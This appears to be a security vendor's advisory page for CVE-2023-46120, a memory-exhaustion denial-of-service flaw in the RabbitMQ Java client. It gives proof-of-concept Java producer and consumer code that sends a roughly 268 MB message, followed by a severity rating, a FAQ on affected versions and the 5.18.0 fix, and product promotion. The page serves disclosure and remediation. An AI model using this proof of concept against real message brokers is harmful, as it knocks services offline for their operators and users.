CVE-2023-46120

RabbitMQ Java client's Lack of Message Size Limitation leads to Remote DoS Attack

package org.springframework.amqp.helloworld; 

import org.springframework.amqp.core.AmqpTemplate; 
import org.springframework.context.ApplicationContext; 
import org.springframework.context.annotation.AnnotationConfigApplicationContext; 

public class Producer {
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class); 
        String s = "A";
        for(int i=0;i<28;++i){
            s = s + s;
            System.out.println(i);
        }
        amqpTemplate.convertAndSend(s);
        System.out.println("Send Finish");
    }
 }

package org.springframework.amqp.helloworld;

import org.springframework.amqp.core.AmqpTemplate;
import org.springframework.amqp.core.Message;
import org.springframework.context.ApplicationContext;
import org.springframework.context.annotation.AnnotationConfigApplicationContext;

public class Consumer {
    
    public static void main(String[] args) {
        ApplicationContext context = new AnnotationConfigApplicationContext(HelloWorldConfiguration.class);
        AmqpTemplate amqpTemplate = context.getBean(AmqpTemplate.class);
        Object o = amqpTemplate.receiveAndConvert();
        if(o != null){
            String s = o.toString();
            System.out.println("Received Length : " + s.length());
        }else{
            System.out.println("null");
        }
    }
}

Users of RabbitMQ may suffer from DoS attacks from RabbitMQ Java client which will ultimately exhaust the memory of the consumer.

Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service. Typical impact: denial of service.

CVE-2023-46120 has a CVSS score of 4.9 (Medium). The vector is network-reachable, high privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (5.18.0); upgrading removes the vulnerable code path.

Kodem intelligence

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1. What is CVE-2023-46120? CVE-2023-46120 is a medium-severity uncontrolled resource consumption vulnerability in com.rabbitmq:amqp-client (maven), affecting versions < 5.18.0. It is fixed in 5.18.0. Crafted input forces the application to consume excessive CPU, memory, or other resources, degrading or denying service.
2. How severe is CVE-2023-46120? CVE-2023-46120 has a CVSS score of 4.9 (Medium). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
3. Which versions of com.rabbitmq:amqp-client are affected by CVE-2023-46120? com.rabbitmq:amqp-client (maven) versions < 5.18.0 is affected.
4. Is there a fix for CVE-2023-46120? Yes. CVE-2023-46120 is fixed in 5.18.0. Upgrade to this version or later.
5. Is CVE-2023-46120 exploitable, and should I be worried? Whether CVE-2023-46120 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
6. What actually determines whether CVE-2023-46120 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
7. How do I fix CVE-2023-46120? Upgrade com.rabbitmq:amqp-client to 5.18.0 or later.

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